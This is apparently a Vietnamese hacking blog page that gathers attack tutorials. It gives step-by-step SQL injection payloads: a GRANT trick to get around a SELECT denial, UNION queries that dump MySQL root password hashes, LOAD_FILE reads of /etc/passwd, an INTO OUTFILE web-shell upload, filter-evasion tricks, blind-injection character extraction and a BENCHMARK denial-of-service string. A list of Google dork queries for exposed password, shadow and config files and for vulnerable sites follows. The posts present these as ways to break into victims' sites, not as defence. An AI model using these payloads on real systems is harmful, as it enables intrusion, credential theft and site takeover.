Hiển thị các bài đăng có nhãn hacker. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn hacker. Hiển thị tất cả bài đăng

Thứ Ba

Hack SQL Injection bị deny SELECT

Bình thường khi query
Trích dẫn
convert(int,(select top 1 table_name from information_schema.tables))--

bay ra lỗi
Trích dẫn
Syntax error converting the nvarchar value 'table_name' to a column of data type int

nhưng nếu bay ra lỗi
Trích dẫn
SELECT permission denied on object 'sysobjects', database 'XXXXX', owner 'dbo'.

thường anh em bỏ nó or toàn chơi tool thấy ko query dc bỏ luôn.

thằng admin đã deny SELECT ,ko SELECT thì convert dc cái khỉ j` .
dùng query sau:
Trích dẫn
;use dataname grant keyword on tables to public

trc' hết dùng convert(int,db_name()) để bít dataname,ví dụ là vnc
query fat nào

Trích dẫn
;use vnc grant select on sysobjects to public--

TUT SQL Injection PHP chi tiết và đầy đủ (của Nga)

Hôm nay tớ dịch ra cho anh em ha,có gì sai sót anh em thông cảm:
Lỗi MySQL là một lỗi rất là thông dụng và nguy hiểm.Khác với các lỗi khác MySQL bị lỗi là cho người viết mã gây ra hay bị sai sót
Lỗi MySQL đem lại những lợi ích như thế nào?
Nó cho phép người sử dụng có thể khai thác dễ dàng vào các database.Nói rõ hơn nó cho ta thấy được những thông số có liên quan đến victim chứa lỗi.MySQL Inj có thể phá hủy tập tin hay cho phép các tập tin khác mà attacker chèn vào
Bây giờ chúng ta nhìn vào 1 số ví dụ về code php
Trích dẫn
...
$ id = $ _GET [ 'id'];
...
mysql_query ( "UNION SELECT nick FROM users WHERE id =". );..... $ id
?>

Chúng ta cần lưu ý về phương thức lấy đoạn ma GET .Anh em hãy để ý kỹ về đoạn mã php ở trên.Chúng ta có thể thay đổi yêu cầu truy vấn dựa vào GET.Nếu nó không lọc phần [ 'id'] mà chúng ta truy vấn vào dữ liệu của victim thì có nghĩa là nó bị lỗi MySQL.
Làm sao mà biết chính xác là nó bị lỗi.Sau đấy là 1 ví dụ :
Trích dẫn
http://www.site.ru/index.php?page=1


Với 1 trang như thế ,để ta biết nó có bị dính lỗi hay ko thi ta cần thêm vào 1 ký tự như dấu '
Trích dẫn
http://www.site.ru/index.php?page=1'


Và khi nó bị dính MySQL thì website sẽ gởi lại cho ta biết với 1 thông báo như sau:

+MySQL Error: mysql_query (.......) error expretion syntax ...

Câu nói ở đây có nghĩa là có 1 truy vấn đang bị lỗi về cấu trúc toán học hay thư mục.Và 99% đây là lỗi source.

Ngoài ra ta còn 1 phương các nữa là ta dùng phương thức toán học đơn giản như sau:

Trích dẫn
http://www.site.ru/index.php?page=2-1


Và nó trở về 1 thì 99% nó bị dính mysql.
Khi ta biết chính xác nó bị lỗi thì ta sẽ khai thác như sau.Chúng ta cần gởi 1 truy vấn sql đến victim nhưng chúng ta cần truy vấn với giá trĩ là null.Null ở đây là rỗng không có 1 giá trị xác thực.
Đây là
Trích dẫn
http://www.site.ru/index.php?page=-1 union + + + select null, null / *
or
http://www.site.ru/index.php?page=99999 union + + + select null, null / *


Chúng ta sẽ sử dụng lần lượt các câu truy vấn thông dụng như:
Trích dẫn
union select null, null
union select null, null, null
union select null, null, null, null


Lệnh union ở đây chính là lênh kết nối các bảng lại với nhau.Chúng ta cứ sử dụng cho đến khi biết 9 xác có bao nhiêu bảng dữ liệu nằm trong database
Trích dẫn
http://www.site.ru/index.php?page=-1 union + + + select null, null, null, null, null, null / *


Sau khi đã xác định được bảng ta xét đến nó có bao nhiệu cột nằm trong bảng.Với câu lệnh sau sẽ giúp ta xác định:

Trích dẫn
+? id =- 1 + + by order +100 / *


Dĩ nhiên các cột không thể nào quá 100 cột được.Với cách thức này ta có thể nhanh chóng biết được bao nhiêu cột.Và có sai thì nó sẽ báo lổi.

Sau khi đã biết chính xác được có bao nhiêu cột thì ta sẽ thay thế các giá trị null mà hồi nãy ta truy vấn bằng các con số 9 xác như 1,2,3,..

Trích dẫn
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5,6 / *


Sau đó ta sẽ lấy 1 số thông tin như user database...Và ta cần biết 9 xác nó nằm ở cột nào mới truy vấn và tìm
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, USER (), 4,5,6 / *
http://www.site.ru/index.php?page=-1 + union + +1.2 select, VERSION (), 4,5,6 / *
http://www.site.ru/index.php?page=-1 + union + +1.2 select, DATABASE (), 4,5,6 / *


*Sau khi có được các thông tin thì ta cần làm những bước sau tùy vào ý thích của mỗi người

1-Lấy pass của thằng root(Nó là quan trọng 1 mà)
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *


Và nó sẽ cho ra pass là pass hash và chúng ta dùng các chương trình crack pass để lấy mã.Ví dụ như chương trình password pro.Lưu ý phương thức lấy pass bằng câu lệnh trên ko có nghĩa lúc nào cũng cho ra pass mà còn phụ thuộc vào thằng mysql.user có chấp nhận yêu cầu của ta hay ko.

2-Đọc các bảng khác có liên quan đến thằng root:
Chúng ta có thể đọc các bảng có liên quan như:spreadsheet-type users, reg_users, admins, accounts ...
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, name, passwd, 4,5,6 + + from users / *


3-Đọc tập tin chứ trên server:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE ( '/ etc / passwd'), 4,5,6 / *


Nếu chúng ta xác định 9 xác tập tin ta cần đọc thì phần LOAD_FILE sẽ giúp ích cho ta rất nhiều.

4-Up shell và ddos:
Chúng ta cần nhận thấy là chúng ta cần nên đưa con shell ở bên ngoài vào sao cho phù hợp 1.Và thư mục mà ta cần quan tâm và phù hợp 1 chính là "/ home / site / public_html /"

Code up shell:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5, '' + + + from mysql.user into outfile + + '/ home / site / public_html / shell.php' / *


Việc up shell là phần quan trọng 1 đối với lỗi MYSQL.Và 1 điều quan trọng ko kém là chúng ta cần đưa thêm biến hay tham số ,cụ thể là số.Nó sẽ giúp ta thực hiện được 1 số lệnh bị giới hạn trong mysql.
Ví dụ:union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ i]
Chúng sẽ thử lại 3 lần với cột số 5

Đôi khi chúng ta gặp phải 1 số cơ chế lọc hay mã hóa trong mysql.Chính vì vậy để giải quyết vấn đề loại bỏ cơ chế trên ta cần 1 câu lệnh ko kém phần quan trọng
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, AES_DECRYPT (AES_ENCRYPT (USER (), 0x71), 0x71), 4,5,6 / *


1 điều cần lưu ý là khi bộ lọc kovychku của sql được bật thì chúng ta có thể dùng đến phần LOAD_FILE
Ví dụ ta đưa vào LOAD_FILE phần đọc thư mục / etc / passwd thì chúng ta dùng đoạn code sau:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE (char (47101116,99,47112,97115115119100)), 4,5,6 / *


Đôi khi ta bị thằng inektsiya giới hạn việc sử dụng các khoản không gian sử dụng.Để xác lập lại ta dùng các lệnh sau:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *

same
Trích dẫn
http://www.site.ru/index.php?page=-1/ ** / union / ** / select / ** / 1.2, user,


Phần cuối là dos:Chắc câu lệnh này mọi người ai cũng hiểu ha:
Trích dẫn
http://www.site.ru/index.php?page=-1 + BENCHMARK (10000000, BENCHMARK (10000000 md5 (current_date)))

theo vit'blog

Hướng dẫn khai thác lỗi Blind SQL Injection nâng cao

Trước hết phải nói đây là bài cũ rùi, nhưng sau bài này mình sẽ có thêm 1 ví dụ cụ thể chăc sẽ dễ chịu hơn với những ai chưa rõ lắm ( chỉ sợ ai cũng rõ rồi thì phí công wé )
Bài lấy trong kho nhé :
Bài này là bài dịch đầu tay hay sao á
Dựa theo bài viết của : Kevin Spett

Nói qua 1 chút , nếu khai thác theo lỗi SQL injection thông thường ta khai thác qua các error message gửi về từ server .Tuy nhiên 1 số admin đã ngăn việc hiển thị các error message nhưng thật đáng tieec như thế là ko đủ
Nếu như bạn ko nhận được các error message thì đừng lo vì rất có thể chúng ta vẫn khai thác thông tin được qua "blind" sql injection .

Phát hiện lỗi "blind sql injection":

1 URL như sau : http://www.company.com/pressRelease.jsp?pressID=5

và câu lệnh SQL được thực hiện sẽ là :

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5

để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:

http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1

và nếu database server thực hiện lệnh

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5 AND 1=1

và nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi rồi đấy .

Khai thác:

Bây giờ chúng ta sẽ đoán các thông tin của database bằng việc thực hiên các câu hỏi đúng sai với server

Ví dụ : ta sẽ hỏi server xem " có phải user hiện tại là dbo ko?" bằng cách :

http://www.company.com/pressRelease.jsp?pressID=5 AND USER_NAME()='dbo'

( USER_NAME() là 1 hàm của SQL Server trả về tên của user hiện tại )

Nếu user hiện tai đúng là 'dbo' thì chúng ta sẽ được trả về http://www.company.com/pressRelease.jsp?pressID=5 còn nếu ko thì sẽ ko có trang nào được trả về cả.

Hay phải ko các bạn

Bằng cách so sanh các câu hỏi nhỏ với các hàm ta có thể hỏi nhiều câu phức tạp hơn . Sau đây là ví dụ về cách lấy tên của 1 table ( từng chữ 1 )

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>109

Lệnh SELECT sẽ yêu cầu tên của table đầu tiên trong database

Hàm substring() sẽ trả về chữ đầu tiên trong kết quả của câu lện

Hàm lower() đơn giản chỉ là chuyển kí tự thành kiêu chữ thường, ko viết hoa.

Hàm ascii() sẽ trả về giá trị ASCII của kí tự đó

Nếu server ko báo lỗi gì thì chúng ta có thể biết rằng tên đầu tiên của table là một chữ sau chữ "m" ( vì trong bảng mã giá trị của chữ "m" là 109 )

tiếp theo :

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>116

Nếu báo lỗi tức là ta biết được giá trị ASCII của kí tự đầu tiên này nằm trong khoảng từ chữ "n" đến chữ "t" ( giá trị của t là 116)

Cứ thế thu hẹp dần ta sẽ được giá trị của kí tự đầu tiên sẽ nằm trong khoảng "n" và "o" ( 110 và 111)

Tiếp theo:

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))=111

Server ko báo lỗi mà trở về trang http://www.company.com/pressRelease.jsp?pressID=5 <--vậy là ta biết được kí tự đầu tiên của table là "o"

Đoán tiếp kí tự thứ 2 ta làm như sau :

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1)))>109

(chú ý ta phải đổi đối số từ 1 sang 2 )

và rồi làm lại như thế , dần dân ta sẽ nhân được tên đầy đủ của table ( trong ví dụ này là "orders")

Bài này ko phải là dịch hoàn toàn mà dựa trên sự đọc hiểu của mình và viết lại , nếu các bạn thấy chỗ nào thiếu chính xác thì góp ý nhá ( mong các bạn đừng cười )

À còn đây là 1 chút về bảng mã ASCII cho nhưng bạn nào chưa biết :

1. Bảng mã ASCII :

Bộ kí tự ASCII gồm 256 kí tự được phân bố như sau:

+ 32 kí tự đầu là các kí tự điều khiển ko in được ví dụ như kí tự ENTER ( mã 13) , ký tự ESC ( mã 27)

+ các mã 32-47,58-64,91-96 và 123-127 là các kí tữ đặc biệt như dấu chấm, chấm phẩy , dấu ngoặc , móc , hỏi .....

+ các mã 48-57 là 10 chữ số

+ các mã 65-90 là các chữ cái hoa A->Z

+ các kí tự 97-122 là các chữ cái thường a->z

+ các mã ASSCII là các kí tự đồ họa

Cụ thể hơn bạn có thể viết 1 CT nhỏ bằng pascal , C ...... để liệt kê bảng mã ASCII cho mình

Theo:vnit'bolg

Công cụ tìm kiếm lỗi SQL web Vulnerability Scanner 5.1

Acunetix Web Vulnerability Scanner đầu tiên xác định máy chủ web và sau đó thu thập dữ liệu các trang web thu thập toàn bộ thông tin về tập tin Acunetix Web Vulnerability Scanner đầu tiên xác định máy chủ web từ một IP cụ thể hoặc dải IP.

 Sau đó, nó thu thập dữ liệu toàn bộ trang web, thu thập thông tin về tất cả các file mà nó tìm thấy, và hiển thị cấu trúc toàn bộ trang web.

Sau giai đoạn này phát hiện ra, nó thực hiện một cuộc kiểm toán tự động đối với an ninh chung issues.Acunetix tổn thương Web Scanner là một phần mềm tự động phát hiện bao gồm tập tin.
 Đây là một số tính năng chính của "Acunetix Web Vulnerability Scanner '
: Tự động kiểm toán lỗ hổng Acunetix Web Vulnerability Scanner tự động phát hiện các lỗ hổng trong các ứng dụng web sau đây: 
· Cross site scripting ·
 SQL injection · CRLF tiêm · 
Mã thực hiện · Directory traversal · 
Tập tin bao gồm · Script · 
công bố mã nguồn phát hiện ra các tập tin / thư mục có thể chứa vẻ ° thông tin nhạy cảm cho các tập tin thông thường (chẳng hạn như các bản ghi, dấu vết ứng dụng, kho web CVS), các tập tin sao lưu hoặc thư mục thư mục 
* Tìm danh sách · phát hiện ra các thư mục với các điều khoản yếu · phát hiện có sẵn công nghệ máy chủ web (chẳng hạn như WebDAV, FrontPage, vv) 
· Xác định phương pháp nguy hiểm HTTP được kích hoạt trên máy chủ web (ví dụ: PUT, TRACE, DELETE) · kiểm tra các biểu ngữ của phiên bản HTTP và sẽ cho sản phẩm dễ bị tổn thương · 
Kiểm tra sức mạnh mật khẩu của các ứng dụng. 
 Mở rộng các cuộc tấn công * Với Acunetix Web Vulnerability Scanner, bạn có thể xây dựng HTTP / HTTPS yêu cầu và phân tích các câu trả lời bằng cách sử dụng các trình soạn thảo HTTP. 
 · Kết nối gián điệp Bằng cách cho phép bạn đăng nhập, đánh chặn và sửa đổi tất cả các HTTP / HTTPS giao thông,
 Acunetix Web Vulnerability Scanner cho bạn một cái nhìn sâu vào những dữ liệu ứng dụng web của bạn được gửi đi. 
 Test password * sức mạnh Để kiểm tra sức mạnh của mật khẩu của bạn, bạn có thể thực hiện một cuộc tấn công từ điển cơ bản HTTP, NTLM, chứng thực dựa trên hình thức. 
 Kiểm tra cơ sở dữ liệu biên tập ·
 Acunetix Web Vulnerability Scanner bao gồm một trình soạn thảo văn bản cơ sở dữ liệu cho phép bạn thêm các cuộc tấn công thêm (doanh nghiệp và tư vấn chỉ có phiên bản) kiểm tra các cơ sở dữ liệu. 
 Hỗ trợ tất cả các công nghệ web chính ·
 Ứng dụng sử dụng CGI, PHP, ASP, ASP.NET tất cả có thể được kiểm tra các lỗ hổng. 
 Quét các cấu hình · Acunetix Web Vulnerability Scanner cho phép bạn nhanh chóng quét các trang web với các tùy chọn khác nhau và bản sắc. 
 Báo cáo: 
Bạn có thể lưu phiên quét cho MS SQL Server cơ sở dữ liệu Access / và tạo các báo cáo phức tạp từ các phiên trước đó quét bằng cách sử dụng thông tin được lưu trữ trong cơ sở dữ liệu. 


 Yêu cầu: · 128 MB RAM (256MB hoặc cao hơn) · 200 MB có sẵn đĩa cứng không gian của Microsoft · Internet Explorer 5.1 (hoặc cao hơn) · SQL Server / Access nếu cơ sở dữ liệu được kích hoạt (tùy chọn)  

Những cú pháp tìm kiếm nâng cao với Google

Dưới đây thảo luận về những lệnh đặc biệt của Google và tôi sẽ giải thích từng lệnh một cách ngắn gọn và nói rõ nó được sử dụng như thế nào để t́m kiếm thông tin.


[ intitle: ]

Cú pháp “intitle:” giúp Google giới hạn kết quả t́m kiếm về những trang có chứa từ đó trong tiêu đề. Ví dụ, “intitle: login password” (không có ngoặc kép) sẽ cho kết quả là những link đến những trang có từ "login" trong tiêu đề, và từ "password" nằm ở đâu đó trong trang.


Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong tiêu đề của trang th́ ta có thể dùng “allintitle:” thay cho “intitle” để có kết quả là những trang có chứa tất cả những từ đó trong tiêu đề. Ví dụ như dùng

“intitle: login intitle: password” cũng giống như truy vấn “allintitle: login password”.



[ inurl: ]

Cú pháp “inurl:” giới hạn kết quả t́m kiếm về những địa chỉ URL có chứa từ khóa t́m kiếm. Ví dụ: “inurl: passwd” (không có ngoặc kép) sẽ cho kết quả là những link đến những trang có từ "passwd" trong URL.

Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong URL th́ ta có thể dùng “allinurl:” thay cho “inurl” để được kết quả là những URL chứa tất cả những từ khóa t́m kiếm.Ví dụ: “allinurl: etc/passwd“ sẽ t́m kiếm những URL có chứa “etc” và “passwd”. Kư hiệu gạch chéo (“/”) giữa các từ sẽ bị Google bỏ qua.



[ site: ]

Cú pháp “site:” giới hạn Google chỉ truy vấn những từ khóa xác định trong một site hoặc tên miền riêng biệt. Ví dụ: “exploits site:hackingspirits.com” (không có ngoặc kép) sẽ t́m kiếm từ khóa “exploits” trong những trang hiện có trong tất cả các link của tên miền “hackingspirits.com”. Không có khoảng trống nào giữa “site:” và “tên miền”.



[ filetype: ]

Cú pháp “filetype:” giới hạn Google chỉ t́m kiếm những files trên internet có phần mở rộng riêng biệt (Ví dụ: doc, pdf hay ppt v.v...). Ví dụ : “filetype:doc site:gov confidential” (không có ngoặc kép) sẽ t́m kiếm những file có phẩn mở rộng là “.doc” trong tất cả những tên miền của chính phủ có phần mở rộng là “.gov” và chứa từ “confidential”(bí mật) trong trang hoặc trong file “.doc”. Ví dụ . Kết quả sẽ bao gồm những liên kết đến tất cả các file văn bản bí trên các site của chính phủ.



[ link: ]

Cú pháp “link:” sẽ liệt kê những trang web mà có các liên kết đến đến những trang web chỉ định. Ví dụ :

chuỗi “link:www.securityfocus.com” sẽ liệt kê những trang web có liên kết trỏ đến trang chủ SecurityFocus.

Chú ý không có khoảng trống giữa "link:" và URL của trang Web.



[ related: ]

Cú pháp “related:” sẽ liệt kê các trang Web "tương tự" với trang Web chỉ định. Ví dụ :

“related:www.securityfocus.com” sẽ liệt kê các trang web tương tự với trang chủ Securityfocus. Nhớ rằng không có khoảng trống giữa "related:" và URL của trang Web.



[ cache: ]

Truy vấn “cache:” sẽ cho kết quả là phiên bản của trang Web mà mà Google đă lưu lại. Ví dụ:

“cache:www.hackingspirits.com” sẽ cho ra trang đă lưu lại bởi Google's. Nhớ rằng không có khoảng trống giữa "cache:" và URL của trang web.

Nếu bạn bao gồm những từ khác trong truy vấn, Google sẽ điểm sáng những từ này trong văn bản đă được lưu lại.

Ví dụ: “cache:www.hackingspirits.com guest” sẽ cho ra văn bản đă được lưu lại có từ "guest" được điểm sáng.



[ intext: ]

Cú pháp “intext:” t́m kiếm các từ trong một website riêng biệt. Nó phớt lờ các liên kết hoặc URL và tiêu đề của trang.

Ví dụ: “intext:exploits” (không có ngoặc kép) sẽ cho kết quả là những liên kết đến những trang web có từ khóa t́m kiếm là "exploits" trong các trang của nó.



[ phonebook: ]

“phonebook” t́m kiếm thông tin về các địa chỉ đường phố ở Mỹ và số điện thoại. Ví dụ:

“phonebook:Lisa+CA” sẽ liệt kê tất cả các tên người có từ “Lisa” trong tên và ở “California (CA)”. Cú pháp này có thể được sử dụng như là một công cụ tuyệt vời của tin tặc trong trường hợp ai đó muốn t́m kiếm thông tin cá nhân cho công việc xă hội.



Truy vấn các site hoặc server dễ bị tấn công sử dụng các cú pháp nâng cao của Google



Những cú pháp truy vấn nâng cao thảo luận ở trên thực sự có thể giúp người ta chính xác hóa các t́m kiếm và có được những ǵ họ thực sự t́m kiếm.



Bây giờ Google trở thành một máy t́m kiếm thông minh, những người dùng có ác ư không hề bận tâm khai thác khả năng của nó để đào bới những thông tin bí mật từ internet mà chỉ có sự truy cập giới hạn. Bây giờ tôi sẽ thảo luận những kỹ thuật này một cách chi tiết làm thế nào để những người dùng ác tâm đào bới thông tin trên internet sử dụng Google như một công cụ.

Sử dụng cú pháp “Index of ” để t́m kiếm các site cho phép duyệt chỉ mục

Một webserver(máy chủ web) cho phép duyệt chỉ mục nghĩa là bất kỳ ai có thể duyệt các thư mục của webserver như các thư mục nội bộ thông thường. Ở đây tôi sẽ thảo luận làm thế nào để sử dụng cú pháp "index of" để có một danh sách các liên kết đến webserver cho phép duyệt thư mục.

Cách này trở thành một nguồn dễ dàng cho việc thu thập thông tin của tin tặc. Tưởng tưởng nếu họ nắm được các file mật khẩu hoặc các file nhạy cảm khác mà b́nh thưởng không thể thấy được trên internet.

Dưới đây là vài Ví dụ sử dụng để có được quyền truy cập vào rất nhiều thông tin nhạy cảm dễ dàng hơn rất nhiều:



Index of /admin

Index of /passwd

Index of /password

Index of /mail

"Index of /" +passwd

"Index of /" +password.txt

"Index of /" +.htaccess

"Index of /secret"

"Index of /confidential"

"Index of /root"

"Index of /cgi-bin"

"Index of /credit-card"

"Index of /logs"

"Index of /config"



T́m kiếm các site hoặc server dễ bị tấn công sử dụng cú pháp “inurl:” hoặc “allinurl:”

a. Sử dụng “allinurl:winnt/system32/” (không có ngoặc kép) sẽ liệt kê tất cả các liên kết đến server mà cho phép truy cập đến những thư mục giới hạn như “system32” qua web. Nếu bạn đủ may mắn th́ bạn có thể có quyền truy cập đến file cmd.exe trong thư mục “system32”. Một khi bạn có quyền truy cập đến file “cmd.exe” và có thể thực thi nó th́ bạn có thể tiến lên xa hơn

leo thang quyền của bạn khắp server và làm hại nó.

b. Sử dụng “allinurl:wwwboard/passwd.txt”(không có ngoặc kép) trong

Google search sẽ liệt kê tất cả các liên kết đến server mà dễ bị tấn công vào “tính dễ bị tấn công mật khẩu WWWBoard”. Để biết thêm về tính dễ bị tấn công này bạn có thể vào link sau đây:

http://www.securiteam.com/exploits/2BUQ4S0SAW.html

c. Sử dụng “inurl:.bash_history” (không có ngoặc kép) sẽ liệt kê tất cả các liên kết đến server mà cho phép truy cập vào file

“.bash_history” qua web. Đây là một file lịch sử ḍng lệnh. File này bao gồm danh sách các lệnh được thực thi bởi quản trị viên,

, và đôi khi bao gồm cả thông tin nhạy cảm như mật khẩu

gơ vào bởi quản trị viên. Nếu file này bị làm hại

và nếu nó bao gồm mật khẩu đă mă hóa của hệ thống unix (or *nix)

th́ nó có thể dễ dàng bị crack bởi phương pháp “John The

Ripper”.

d. Sử dụng “inurl:config.txt” (không có ngoặc kép) sẽ liệt kê tất cả các liên kết đến các máy chủ cho phép truy cập vào file “config.txt”

qua giao diện web. File này bao gồm các thông tin nhạy cảm,

bao gồm giá trị bị băm ra của mật khẩu quản trị và sự xác thực quyền truy cập cơ sở dữ liệu. Ví dụ: Hệ thống quản lư học tập Ingenium

là một ứng dụng Web cho các hệ thống Windows phát triển bởi Click2learn, Inc. Hệ thống quản lư học tập Ingenium

phiên bản 5.1 và 6.1 lưu các thông tin nhạy cảm không an ṭan trong file config.txt. Để biết thêm thông tin vào liên kết sau:

http://www.securiteam.com/securitynews/6M00H2K5PG.html



Những t́m kiếm tương tự khác dùng “inurl:” hoặc “allinurl:” kết hợp với các cú pháp khác:

inurl:admin filetype:txt

inurl:admin filetype:db

inurl:admin filetype:cfg

inurl:mysql filetype:cfg

inurl:passwd filetype:txt

inurl:iisadmin

inurl:auth_user_file.txt

inurl:orders.txt

inurl:"wwwroot/*."

inurl:adpassword.txt

inurl:webeditor.php

inurl:file_upload.php

inurl:gov filetypels "restricted"

index of ftp +.mdb allinurl:/cgi-bin/ +mailto



T́m kiếm các site hoặc server dễ bị tấn công dùng “intitle:” hoặc “allintitle:”

a. Sử dụng [allintitle: "index of /root”] (không có ngoặc vuông) sẽ liệt kê các liên kết đến các webserver(máy chủ Web) cho phép truy cập vào các thư mục giới hạn như “root” qua giao diện web. Thư mục này đôi khi bao gồm các thông tin nhạy cảm mà có thể dễ dàng t́m được tqua những yêu cầu Web đơn giản.

b. Sử dụng [allintitle: "index of /admin”] (không có ngoặc vuông) sẽ liệt kê các liên kết đến các website cho phép duyệt chỉ mục các thư mục giới hạn như “admin” qua giao diện web. Hầu hết các ứng dụng web đôi khi sử dụng tên như “admin” để lưu quyền admin trong đó. Thư mục này đôi khi bao hàm các thông tin nhạy cảm mà có thể dễ dàng t́m được qua các yêu cầu Web đơn giản.

Những t́m kiếm tương tự dùng “intitle:” hoặc “allintitle:” kết hợp với các cú pháp khác

intitle:"Index of" .sh_history

intitle:"Index of" .bash_history

intitle:"index of" passwd

intitle:"index of" people.lst

intitle:"index of" pwd.db

intitle:"index of" etc/shadow

intitle:"index of" spwd

intitle:"index of" master.passwd

intitle:"index of" htpasswd

intitle:"index of" members OR accounts

intitle:"index of" user_carts OR user_cart

allintitle: sensitive filetype:doc

allintitle: restricted filetype :mail

allintitle: restricted filetype:doc site:gov



Những truy vấn t́m kiếm thú vị khác

Để t́m những site dễ bị tấn công bằng phương pháp Cross-Sites Scripting (XSS):

allinurl:/scripts/cart32.exe

allinurl:/CuteNews/show_archives.php

allinurl:/phpinfo.php

Để tìm những site dễ bị tấn công bằng phương pháp SQL Injection:

allinurl:/privmsg.php

allinurl:/privmsg.php 

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Blogger Templates